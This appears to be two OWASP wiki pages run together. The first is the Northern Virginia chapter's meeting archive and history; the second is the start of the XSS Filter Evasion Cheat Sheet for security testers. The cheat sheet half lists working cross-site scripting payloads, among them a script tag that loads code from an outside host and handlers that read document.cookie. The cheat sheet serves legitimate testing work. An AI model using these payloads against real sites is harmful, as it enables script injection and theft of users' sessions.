Masha (a.k.a Marina) has dreamed of becoming a security consultant before she ever knew what a ballerina was, and that's a good thing - because she does not intend her talk to be a ballet recital. Having been in software security for over seven years, Ms. Khainson has delivered Architecture Risk Assessment, Secure Code Review, and Ethical Hacking on many architectures, platforms and technologies. Marina has also developed training materials for clients and led remediation assistance teams.

Prior to joining Cigital, Marina was a member of a research team at a leading security research provider, where using disassembly as well as protocol and source code analysis, she provided key information on newly released vulnerabilities. Before that, Marina assisted the same research team in producing detailed reports on critical malware and spyware threats, as well as developing and testing content for network security devices from some of the top providers of intrusion detection and prevention technologies.

Download: [[Media:MCD-OWASPNoVA.pdf|Malicious Code Detection or BRIC Breaking Through Static Analysis]]

----

=== November 2011 ===
'''Date/Time:''' November 3rd, 2011 @ 6pm

'''Location Sponsor:''' [http://www.qinetiq.com/ QinetiQ], 2677 Prosperity Ave Fairfax, VA 22031

'''AGENDA:'''
# News / Updates
# Talk: "Lessons Learned from the SQL Injection Challenge" by Ryan Barnett (Trustwave SpiderLabs)
# Firetalks! :)

'''Presentation Title:''' "Lessons Learned from the SQL Injection Challenge"

'''Abstract:'''
How effective are blacklist filters vs. SQL Injection attacks? What is the failure rate vs. automated scanning or manual testing? Are there any "Time-to-Bypass" metrics? In an attempt to answer these questions, Trustwave SpiderLabs' Research Team (the development team behind the ModSecurity WAF and the OWASP ModSecurity Core Rule Set) held a community "SQL Injection Challenge" to test the effectiveness of the OWASP ModSecurity Core Rule Set protections. This presentation will provide an overview of the challenge, a step-by-step walk-through of the bypass tactics used by the winners, as well as, present a new approach to attack detection using ModSecurity's Lua API to perform Bayesian analysis.

'''Speaker Bio:'''
[mailto:ryan.barnett@owasp.org Ryan C. Barnett] (Twitter: [http://twitter.com/#!/ryancbarnett @ryancbarnett]) is a senior security researcher on Trustwave's SpiderLabs Team. He is a SANS Institute certified instructor and a member of both the Top 20 Vulnerabilities and CWE/SANS Top 25 Most Dangerous Programming Errors teams. In addition to working with SANS, he is also a WASC Member where he leads the Web Hacking Incidents Database (WHID) and Distributed Web Honeypots Projects and is also the OWASP ModSecurity Core Rule Set (CRS) project leader. Mr. Barnett has also authored a Web security book for Addison/Wesley Publishing entitled "Preventing Web Attacks with Apache".

----

=== October 2011 ===
'''Date/Time:''' October 6th, 2011 @ 6pm

'''Location/Food Sponsor:''' [http://www.cigital.com/ Cigital], 21351 Ridgetop Circle, Suite 400, Sterling, VA 20166

'''AGENDA:'''
* News / Updates
* AppSec USA 2011 Recap
* Talk: Jack Mannino: [http://www.slideshare.net/JackMannino/owasp-top-10-mobile-risks "OWASP Top 10 Mobile Risks"]
* Firetalks! :)

=== September 2011 ===

The September meeting was cancelled due to inclement weather (flash flooding).

----

=== August 2011 ===

We held a "social" event at Sweetwater Tavern in Sterling, VA.

----

=== July 2011 ===

'''Date/Time:''' July 7th, 2011 @ 6pm<br> '''Location Sponsor:''' [http://www.cigital.com Cigital], Suite 400 21351 Ridgetop Circle, Dulles, VA, 20166<br> '''Food Sponsor:'''<br> '''AGENDA:'''

* News / Updates
* Topic of the Month: iGoat - Ken Van Wyk

----

=== June 2011 ===

'''Date/Time:''' June 9th, 2011 @ 6pm (*Note: 2nd Thursday of June!)<br> '''Location Sponsor:''' [http://about.collegeboard.org/ The College Board], 11955 Democracy Drive Reston, VA 20190<br> '''Food Sponsor:''' The College Board<br> '''AGENDA:'''

* News / Updates
* Topic of the Month: [https://www.owasp.org/index.php/Top_10_2010-A4 A4 "Insecure Direct Object References"]
* College Board Speaker: "Attack-in-Depth: Exploits of the OWASP Top Ten in Action"
* Firetalks! :)
- Jack Mannino: "Android Security 101"
- Others!

----

=== May 2011 ===

'''Date/Time:''' Cinco de Mayo (May 5th), 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset Hills Dr, Suite 250, Reston, VA 20190<br> '''Food Sponsor:''' Akamai<br> '''AGENDA:'''

* News / Updates
* 2011 Election (voice vote on the entire slate)
* Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A3 A3 "Broken Authentication and Session Management"]
* Speaker: Steve Witmer on A3 from the "breakers" perspective
* Speaker: ??? on A3 from the "fixers/defenders" perspective
* Firetalks! :)
* '''Update:''' All election candidates were elected by voice vote.
* Please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&authkey=CIS9zFM '11 Chapter Board Election Material]

----

=== April 2011 ===

'''Date/Time:''' April 7, 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.reversespace.com/ ReverseSpace], 13505 Dulles Technology Dr, Suite 3, Herndon, VA 20171 <br> '''Food Sponsor:''' [https://www.cigital.com Cigital]<br> '''AGENDA:'''

* News / Updates
* 2011 Election
* Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A2 A2 "Cross-Site Scripting (XSS)"]
* Preso:"Cross-Site Scripting is Not Your Friend: XSS and the Facebook Platform" by Joey Tyson ([https://www.owasp.org/images/9/92/Xssnotfriend-edited.pptx PPTX] or [https://www.owasp.org/images/0/06/Xssnotfriend-edited.pdf PDF])
* Preso:“XSS Remediation” by Cassia Martin ([https://www.owasp.org/images/6/66/XSS_Remediation.ppt PPT])
* Preso:"Growing the secure application developer community through expanded curricula" by Tony Gottlieb
* FireTalks (bring it!)

----

=== March 2011 ===

'''Date/Time:''' March 3, 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.boozallen.com/ Booz Allen Hamilton], 13200 Woodland Park Road, Herndon, VA 20171 <br> '''AGENDA:'''

* News / Updates
* [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011] In Review
* Preso: [http://www.owasp.org/index.php/Top_10_2010-A1-Injection A1 "Injection"]
* Briefing: Training/Preso Plan for the Year

----

=== February 2011 ===

'''Date/Time:''' February 3, 2011 @ 6pm<br> '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset HIlls Dr, Suite 250, Reston, VA 20190<br> '''AGENDA:'''

* News / Updates
* Feedback for [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011]
* Preso: Intro to [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP Top 10] + 2
* Briefing: Training/Preso Plan for the Year

----

=== December 2010 ===

'''Date/Time:''' December 2, 2010 @ 6pm<br> '''Location Sponsor:''' [http://hackerspaces.org/wiki/Reverse_Space ReverseSpace], 13505 Dulles Technology Drive, Herndon, VA<br> '''AGENDA:'''

* 2011 Planning Session (Schedule, Volunteers, Speakers, Topics)
* Lightning Talks!! (Bring an idea, a question, a topic, whatever - 5-10 minute talks max!)
* Social / Networking (BYOB!)

----

=== November 2010 ===

'''Date/Time:''' November 4, 2010 @ 6pm<br> '''Location Sponsor:''' Akamai, 11111 Sunset Hills Rd, Suite #250, Reston, VA<br> '''Speaker:''' Ben Tomhave<br> '''Title:''' The Unintended Consequences of Beating Users with Carrot Sticks: Radical Thoughts on Security Reform<br> '''Description:''' What we're doing today is not working and isn't sustainable. The fundamental culture of the average business does not encourage making good security decisions. Software shops continue to focus on functionality and timelines, neglecting information security. In spite of regulations like PCI and HIPAA+HITECH, which are levying fines against organizations for their security failures, the tipping point has clearly not been reached to cause meaningful change. Much of this problem can be attributed to the excessive use of negative incentives (sticks) instead of providing positive incentives (carrots) that inspire better decision making and motivate true change. Fortunately, it's not too late to change tactics and start achieving demonstrable success.<br> '''Speaker Bio:''' Ben Tomhave is a Senior Security Analyst with Gemini Security Solutions in Chantilly, VA, specializing in solutions architecture, security planning, program development and management, and other strategic security solutions. He holds a MS in Engineering Management with an Information Security Management concentration from The George Washington University and is a CISSP.

----

=== June 2010 ===

'''DATE''': Thursday, June 3rd, 6pm Eastern Daylight Time<br> '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171<br> '''SPEAKER''': Alex Hutton, Verizon Business and http://www.newschoolsecurity.com/<br> '''TOPIC''': Risk Management - Time to blow it up and start over?<br>

'''DESCRIPTION''':

A redux of the presentation that Alex delivered at B-Sides San Francisco during RSA 2010. "Now that the industry is trying to formalize the concept of risk management into neat little compartments like standards (ISO 27005/31000), certifications (CRISC) and products (GRC) guess what? We're doing it wrong. Fundamentally wrong. This talk will discuss why all this current risk management stuff is goofy and what sort of alternatives we have that might help us understand our ability to protect, our tendency towards failure, and how to match that up with what management will stomach."

Slides are available from: [http://www.slideshare.net/BSides/risk-management-time-to-blow-it-up-and-start-over-alex-hutton Risk Management - Time to blow it up and start over?]

<br> '''SPECIAL SPEAKER''':

[http://twitter.com/tiffanyrad Tiffany Rad] provided an overview and update on [http://twitter.com/reversespace Reverse Space] in Herndon, VA. For more information, or to help out, please join the [http://groups.google.com/group/ReverseSpace Reverse Space Google Group].

----

=== May 2010 ===

'''DATE''': Tuesday, May 18th, 6pm Eastern Daylight Time<br> '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171<br> '''SPEAKER'''': Jeff Ennis, Senior Solutions Architect, Veracode<br> '''TITLE''': State of Software Security ([[Media:State of Software Security-Ennis.ppsx.zip]])
'''DESCRIPTION''':
A discussion of the current state of software security based on the compiled findings by Veracode from the dynamic and static code analysis they have performed for customers.

----

=== September 2009 ===

'''DATE''': Thursday, September 17, 2009. 6:00pm Eastern Daylight Time<br> '''LOCATION''': 22260 Pacific blvd, Sterling, VA. 20166<br> '''TOPIC''': "Fortify 360"<br> '''SPEAKER''': Erik Klein (Fortify Software), Eric Dalci (Cigital)<br> '''DESCRIPTION''':

We're pleased to invite you to our next week's OWASP Session (Thursday September 17th). We will be hosting a presentation, demo and hands on session of Fortify 360 (http://www.fortify.com). Fortify 360 includes Fortify SCA (Source Code Analyzer) and the Fortify 360 Server which is Fortify's solution for an enterprise deployment of SCA. The session will start with a presentation by Fortify engineers, followed by a demo and finally a hands on session where the audience will be free to install Fortify SCA on the machine and try it the SCA tool on a sample application that we will provide. The audience will also be introduced with the Fortify 360 Server and try some of the enterprise level features such as collaborative code review, metrics and so on. Bring your laptop if you want to try Fortify 360!

The target audience is anyone interested in Secure Code Review with a Static Analysis tool at the desktop level and/or enterprise level. We will need to register visitors before hand...please email wade.woolwine@owasp.org for registration and confirm attendance. Pizza and refreshments will be served.

'''DATE''': Thursday, September 3, 2009. 6:00pm.<br> '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171<br> '''TOPIC''': "Conducting Application Assessment"<br> '''SPEAKER''': Jeremy Epstein, SRI<br> '''DESCRIPTION''':

After the 2000 election, many states launched headlong into electronic voting systems to avoid the problems with "hanging chads". Once problems with those systems started appearing, many localities started moving to optical scan, which was used by a majority of US voters in the 2008 election. There are other technologies in use around the country, including lever machines, vote-by-mail, vote-by-phone, and Internet voting. What are the tradeoffs among these technologies? Particularly relevant to OWASP, what are the security issues associated with different types of equipment, and what measures do vendors of voting equipment use to try to address the security problems? Are software security problems important, or can non-technical measures protect against them? In this talk, we'll discuss a wide variety of voting technologies, and their pros and cons from both a technical and societal perspective.

'''ABOUT THE SPEAKER''':

Jeremy Epstein is Senior Computer Scientist at SRI International. His background includes more than 20 years experience in computer security research, product development, and consulting. Prior to joining SRI International, he was Principal Consultant with Cigital, and before that spent nine years as Senior Director of Product Security at Software AG, an international business software company. Within the area of voting systems, Jeremy has been involved for over five years in voting technology and advocacy, both as an employee and as an independent consultant.

----

=== July 2009 ===

'''DATE''': July 9th 6pm-9pm EST<br> '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171<br> '''TOPIC''': "Ounce's 02"<br> '''SPEAKER(S)''': Dinis Cruz, OWASP, Ounce Labs.<br> '''DESCRIPTION''': So what is O2?

Well in my mind O2 is a combination of advanced tools (Technology) which are designed to be used on a particular way (Process) by knowledgeable Individuals (People)

Think about it as a Fighter Jet who is able to go very fast, has tons of controls, needs to be piloted by somebody who knows what they are doing and needs to have a purpose (i.e. mission).

Basically what I did with O2 was to automate the workflow that I have when I'm engaged on a source-code security review.

Now, here is the catch, this version is NOT for the faint-of-heart. I designed this to suit my needs, which although are the same as most other security consultants, have its own particularities :)

The whole model of O2 development is based around the concept of automating a security consultant’s brain, so I basically ensure that the main O2 Developer (Dinis Cruz) has a very good understanding of the feature requirements of the targeted Security Consultant (Dinis Cruz) :) . And this proved (even to my surprise) spectacularly productive, since suddenly I (i.e. the security consultant) didn't had to wait months for new features to be added to its toolkit. If there was something that needed to be added, it would just be added in days or hours.

----

=== June 2009 ===

''Gary McGraw, Cigital Inc.'':''Building Security In Maturity Model''<br> Later, an interview: ''Jim Routh, formerly of DTCC'':''The Economic Advantages of a Resilient Supply Chain- Software Security'' ''<br>''

Gary McGraw talked about the experience he, Sammy Migues, and Brian Chess gained conducting a survey of some of America's top Software Security groups. Study results are available under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Share Alike license] at [http://www.bsi-mm.com www.bsi-mm.com]. Gary described the common structural elements and activities of successful software security programs, present the maturity model that resulted from survey data, and discuss lessons learned from listening to those leading these groups.

Jim Routh gave an incredibly insightful interview regarding his own experiences crafting their security group.

Download presentation notes at: [http://www.owasp.org/images/0/03/JMR-Economics_of_Security_Goups.ppt The Economic Advantages of a Resilient Supply Chain- Software Security]

----

=== May 2009 ===

''Eric Dalci, Cigital Inc.'':''Introduction to Static Analysis''<br> Later, a panel:

*Steven Lavenhar, Booz Allen Hamilton;
*Eric Dalci, Cigital Inc.

Panel moderated by John Steven <br>

This session is an introductory to Static Analysis. This session presents the different types of analysis used by today's Static Analysis tools. Examples of direct application to find vulnerabilities will be shown (ex: Data Flow Analysis, Semantic, Control Flow, etc.). Current limitations of Static Analysis will also be exposed. This session is tool agnostic, but will cover the approach taken by various leading commercial (as well as open-source) tools.

Download: [http://www.owasp.org/images/e/ea/OWASP_Virginia_Edalci_May09.pdf Intro to Static Analysis]

----

=== April 2009 ===

''Jeremiah Grossman, Whitehat Security'': '''Top 10 Web Hacking Techniques 2008'''<br> Jeremiah Spoke on (what he and colleagues determined were the) top ten web hacking techniques of 2008. This talk was a preview of his RSA '09 talk.<br>

Download http://www.whitehatsec.com/home/assets/presentations/09PPT/PPT_OWASPNoVA04082008.pdf

<br> Later,

*Nate Miller, Stratum Security;
*Jeremiah Grossman, Whitehat Security;
*Tom Brennan, Whitehat Security; and
*Wade Woolwine, AOL

served as penetration testing panels answering questions posed and moderated by Ken Van Wyk.

----

=== February 2009 ===

''Ryan C. Barnett, Breach Security'': '''Patching Challenge: Securing WebGoat with ModSecurity'''

Identification of web application vulnerabilities is only half the battle with remediation efforts as the other. Let's face the facts, there are many real world business scenarios where it is not possible to update web application code in either a timely manner or at all. This is where the tactical use-case of implementing a web application firewall to address identified issues proves its worth.

This talk will provide an overview of the recommended practices for utilizing a web application firewall for virtual patching. After discussing the framework to use, we will then present a very interesting OWASP Summer of Code Project where the challenge was to attempt to mitigate as many of the OWASP WebGoat vulnerabilities as possible using the open source ModSecurity web application firewall. During the talk, we will discuss both WebGoat and ModSecurity and provide in-depth walk-throughs of some of the complex fixes. Examples will include addressing not only attacks but the underlying vulnerabilities, using data persistence for multiple-step processes, content injection and even examples of the new LUA programming language API. The goal of this talk is to both highlight cutting edge mitigation options using a web application firewall and to show how it can effectively be used by security consultants who traditionally could only offer source code fixes.

Ryan C. Barnett is the Director of Application Security Research at Breach Security and leads Breach Security Labs. He is also a Faculty Member for the SANS Institute, Team Lead for the Center for Internet Security Apache Benchmark Project and a Member of the Web Application Security Consortium where he leads the Distributed Open Proxy Honeypot Project. Mr. Barnett has also authored a web security book for Addison/Wesley Publishing entitled "Preventing Web Attacks with Apache."

(This talk is a preview of Ryan's talk at Blackhat Federal the following week - see https://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html#Barnett )

Download [[Media:Virtual_Patching_Ryan_Barnett_Blackhat_Federal_09.zip|WAF Virtual Patching Challenge: Securing WebGoat with ModSecurity]]

''John Steven, Cigital'': '''Moving Beyond Top N Lists'''

Download [[Media:Moving_Beyond_Top_N_Lists.ppt.zip|Moving Beyond Top N Lists]]

<br> Cigital published an article: The Top 11 Reasons Why Top 10 (or 25) Lists Don’t Work. Yet, these lists are a staple of conference abstracts, industry best practice lists, and the like. Are they good or bad? We’ll explore how to get beyond the Top 10 (or 25) list in making your software security effort real.

John is Senior Director, Advanced Technology Consulting at Cigital. His experience includes research in static code analysis and hands-on architecture and implementation of high-performance, scalable Java EE systems. John has provided security consulting services to a broad variety of commercial clients including two of the largest trading platforms in the world and has advised America's largest internet provider in the Midwest on security and forensics. John led the development of Cigital's architectural analysis methodology and its approach to deploying enterprise software security frameworks. He has demonstrated success in building Cigital's intellectual property for providing cutting-edge security. He brings this experience and a track record of effective strategic innovation to clients seeking to change, whether to adopt more cutting-edge approaches, or to solidify ROI. John currently chairs the SD Best Practices security track and co-edits the building security in department of IEEE's Security and Privacy magazine. John has served on numerous conference panels regarding software security, wireless security and Java EE system development. He holds a B.S. in Computer Engineering and an M.S. in Computer Science from Case Western Reserve University.

----

=== January 2009 ===

To kick off 2009, our January meeting featured a discussion of the relationship between application security and CMMI, and an overview of the OWASP ASVS project.

''Michele Moss, Booz Allen Hamilton'': '''Evolutions In The Relationship Between Application Security And The CMMI'''

Addressing new and complex threats and IT security challenges requires repeatable, reliable, rapid, and cost effective solutions. To implement these solutions, organizations have begun to align their security improvement efforts with their system and software development practices. During a “Birds of a Feather” at the March 2007 SEPG, a group of industry representatives initiated an effort which led to the definition of assurance practices that can be applied in the context of the CMMI. This presentation will provide an understanding how applying the assurance practices in the context of security contribute to the overall increased quality of products and services, illustrate how the a focus on assurance in the context of CMMI practices is related to application security practices, and present and approach to evaluate and improve the repeatability and reliability of assurance practices.

Michele Moss, CISSP, is a security engineer with more than 12 years of experience in process improvement. She specializes in integrating assurance processes and practices into project lifecycles. Michele is the Co-Chair of the DHS Software Assurance Working Group on Processes & Practices. She has assisted numerous organizations with maturing their information technology, information assurance, project management, and support practices through the use of the capability maturity models including the CMMI, and the SSE-CMM. She is one of the key contributors in an effort to apply an assurance focus to CMMI.

Slides available: [[Media:Moss-AppSecurityAndCMMI.pdf|Evolutions In The Relationship Between Application Security And The CMMI]]

''Mike Boberski, Booz Allen Hamilton'': '''About OWASP ASVS'''

The primary aim of the OWASP ASVS Project is to normalize the range of coverage and level of rigor available in the market when it comes to performing application-level security verification. The goal is to create a set of commercially-workable open standards that are tailored to specific web-based technologies.

Mike Boberski works at Booz Allen Hamilton. He has a background in application security and the use of cryptography by applications. He is experienced in trusted product evaluation, security-related software development and integration, and cryptomodule testing. For OWASP, he is the project lead and a co-author of the OWASP Application Security Verification Standard, the first OWASP standard.

Slides available: [[Media:About_OWASP_ASVS_Web_Edition.ppt|About OWASP ASVS]]

----

=== November 2008 ===

For our November 2008 meeting, we had two great presentations on software assurance and security testing.

''Nadya Bartol, Booz Allen Hamilton'': '''Framework for Software Assurance'''

Nadya's presentation will provide an update on the Software Assurance Forum efforts to establish a comprehensive framework for software assurance (SwA) and security measurement. The Framework addresses measuring achievement of SwA goals and objectives within the context of individual projects, programs, or enterprises. It targets a variety of audiences including executives, developers, vendors, suppliers, and buyers. The Framework leverages existing measurement methodologies, including Practical Software and System Measurement (PSM); CMMI Goal, Question, Indicator, Measure (GQ(I)M); NIST SP 800-55 Rev1; and ISO/IEC 27004 and identifies commonalities among the methodologies to help organizations integrate SwA measurement in their overall measurement efforts cost-effectively and as seamlessly as possible, rather than establish a standalone SwA measurement effort within an organization. The presentation will provide an update on the SwA Forum Measurement Working Group work, present the current version of the Framework and underlying measures development and implementation processes, and propose example SwA measures applicable to a variety of SwA stakeholders. The presentation will update the group on the latest NIST and ISO standards on information security measurement that are being integrated into the Framework as the standards are being developed.

Slides available: [http://www.epsteinmania.com/owasp/Bartol-MeasurementForOWASP11-13-08.pdf Framework for Software Assurance]

''Paco Hope, Cigital'': '''The Web Security Testing Cookbook'''

The Web Security Testing Cookbook (O'Reilly & Associates, October 2008) gives developers and testers the tools they need to make security testing a regular part of their development lifecycle. Its recipe style approach covers manual, exploratory testing as well automated techniques that you can make part of your unit tests or regression cycle. The recipes cover the basics like observing messages between clients and servers, to multi-phase tests that script the login and execution of web application features. This book complements many of the security texts in the market that tell you what a vulnerability is, but not how to systematically test it day in and day out. Leverage the recipes in this book to add significant security coverage to your testing without adding significant time and cost to your effort.

Congratulations to Tim Bond who won an autographed copy of Paco's book. Get your copy here [[http://www.amazon.com/Security-Testing-Cookbook-Paco-Hope/dp/0596514832]]

Slides available: [http://www.epsteinmania.com/owasp/PacoHope-WebSecCookbook.pdf The Web Security Testing Cookbook]

----

=== October 2008 ===

For our October 2008 meeting, we had two fascinating talks relating to forensics.

''Dave Merkel, Mandiant'': '''Enterprise Grade Incident Management - Responding to Persistent Threats'''

Dave Merkel is Vice President of Products at Mandiant, a leading provider of information security services, education and products. Mr. Merkel has worked in the information security and incident response industry for over 10 years. His background includes service as a federal agent in the US Air Force and over 7 years experience directing security operations at America Online. He currently oversees the product business at Mandiant, and is in charge of building Mandiant Intelligent Response - an enterprise incident response solution. But no, he won't be selling you anything today.

Slides available: [http://www.epsteinmania.com/owasp/Mandiant-EnterpriseIRandAPTpresentation.pdf Enterprise Grade Incident Management - Responding to Persistent Threats]

''Inno Eroraha, NetSecurity'': '''Responding to the Digital Crime Scene: Gathering Volatile Data'''

Inno Eroraha is the founder and chief strategist of NetSecurity Corporation, a company that provides digital forensics, hands-on security consulting, and Hands-on How-To® training solutions that are high-quality, timely, and customer-focused. In this role, Mr. Eroraha helps clients plan, formulate, and execute the best security and forensics strategy that aligns with their business goals and priorities. He has consulted with Fortune 500 companies, IRS, DHS, VA, DoD, and other entities.

Slides available: [http://www.epsteinmania.com/owasp/NetSecurity-RespondingToTheDigitalCrimeScene-GatheringVolatileData-TechnoForensics-102908.pdf Responding to the Digital Crime Scene: Gathering Volatile Data]

=== History ===

The original DC Chapter was founded in June 2004 by [mailto:jeff.williams@owasp.org Jeff Williams] and has had members from Virginia to Delaware. In April 2005 a new chapter, OWASP Washington VA Local Chapter, was formed and the DC Chapter was renamed to DC-Maryland. The two are sister chapters and include common members and shared discourse. The chapters meet in opposite halves of the month to facilitate this relationship.

==== Chapter Groups ====

Within the chapter, various common interests spring up. We've created Google groups to manage collaboration amongst participants for these topics. Feel free to join and participate in:

*[http://groups.google.com/group/novaowasp_threatmodeling Threat Modeling]
*[http://groups.google.com/group/novaowasp_mobile Mobile]

=== OWASP NoVa Members On Twitter ===

Mike McCabe [http://twitter.com/mccabe615 http://twitter.com/mccabe615]

John Steven [http://twitter.com/m1splacedsoul http://twitter.com/m1splacedsoul]

Jack Mannino [http://twitter.com/jack_mannino http://twitter.com/jack_mannino]

Ben Tomhave [http://twitter.com/falconsview http://twitter.com/falconsview]

Ken Johnson [http://twitter.com/cktricky http://twitter.com/cktricky]

Mike Smith [http://twitter.com/rybolov http://twitter.com/rybolov]

Trevor Hawthorn [http://twitter.com/packetwerks http://twitter.com/packetwerks]

Jeremy Long [http://twitter.com/ctxt http://twitter.com/ctxt]

Ari Elias-Bachrach [http://twitter.com/angelofsecurity http://twitter.com/angelofsecurity]

Venkat Sundaram [http://twitter.com/Vnk3889 http://twitter.com/Vnk3889]

==== Knowledge ====

The Northern Virginia (NoVA) chapter is committed to compiling resources on interesting and valuable topic areas. We hope that this structure helps you access information pertinent to your tasks at hand as you move through a secure application development life cycle. Currently, our topic areas of focus include activities such as:

*Threat Modeling
*[[Code Review and Static Analysis with tools]]
*Penetration Testing and Dynamic Analysis tools
*Monitoring/Dynamic patching (WAFs)

Certain projects our members are involved in cross-cut these activities, providing value throughout. They include:

*ASVS

=== Static Analysis Curriculum ===

*For an introduction to the OWASP Static Analysis (SA) Track goals, objectives, and session roadmap, please see [http://www.owasp.org/index.php/Image:OWASP_NoVA_SA_Track_Final_20090408.ppt this presentation].

The following is the agenda of the OWASP Static Analysis track roadmap for the [http://www.owasp.org/index.php/Virginia_(Northern_Virginia) Northern Virginia Chapter].

[[Image:Owasp SAtrack plan.png|OWASP Static Analysis Roadmap - Northern Virginia Chapter 2009]]

'''Contacts'''<br> Questions related to this curriculum should be sent to [mailto:John.Steven@owasp.org John Steven], who is the Northern Virginia chapter leader.

<br>

=== Flash Talk Resources ===

Chandu Ketkar on OFS. Download: [http://www.owasp.org/images/1/1c/OFS.pptx OFS Presentation.] <br> [http://jack-mannino.blogspot.com/ Jack Mannino] on Google and Searching for Personal Information <br> Jesse Ou on XML Bombs. Download: [http://www.owasp.org/images/1/18/OWASP_JOU_XML_DTD_Attacks.pptx XML DTD Presentation] <br>

__NOTOC__ <headertabs />

<paypal>Northern Virginia</paypal>

[[Category:OWASP Chapter]]
[[Category:United States]]
[[Category:Virginia]]
[[Category:Washington,_DC]]

XSS Filter Evasion Cheat Sheet

2014-09-13T18:19:03Z

Michael McCabe: /* fromCharCode */

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br/>
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.

= Tests =

This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion.

Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.

== XSS Locator ==
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this [http://ha.ckers.org/xsscalc.html URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

== XSS locator 2 ==
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable:

'';!--"<XSS>=&{()}

== No Filter Evasion ==
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

== Image XSS using the JavaScript directive ==
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

<IMG SRC="javascript:alert('XSS');">

== No quotes and no semicolon ==

<IMG SRC=javascript:alert('XSS')>

== Case insensitive XSS attack vector ==

<IMG SRC=JaVaScRiPt:alert('XSS')>

== HTML entities ==
The semicolons are required for this to work:

<IMG SRC=javascript:alert("XSS")>

== Grave accent obfuscation ==
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

== Malformed A tags ==
Skip the HREF attribute and get to the meat of the XXS...
Submitted by David Cross ~ Verified on Chrome

<nowiki><a onmouseover="alert(document.cookie)">xxs link</a></nowiki>

or
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.

<nowiki><a onmouseover=alert(document.cookie)>xxs link</a></nowiki>

== Malformed IMG tags ==
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

== fromCharCode ==
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

== Default SRC tag to get past filters that check SRC domain ==
This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.
Submitted by David Cross .

Edited by Abdullah Hussam.

<IMG SRC=# onmouseover="alert('xxs')">

== Default SRC tag by leaving it empty ==

<IMG SRC= onmouseover="alert('xxs')">

== Default SRC tag by leaving it out entirely ==

<IMG onmouseover="alert('xxs')">

== On error alert ==

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

== Decimal HTML character references ==
all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS [http://ha.ckers.org/xsscalc.html Calculator] for more information:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>

== Decimal HTML character references without trailing semicolons ==
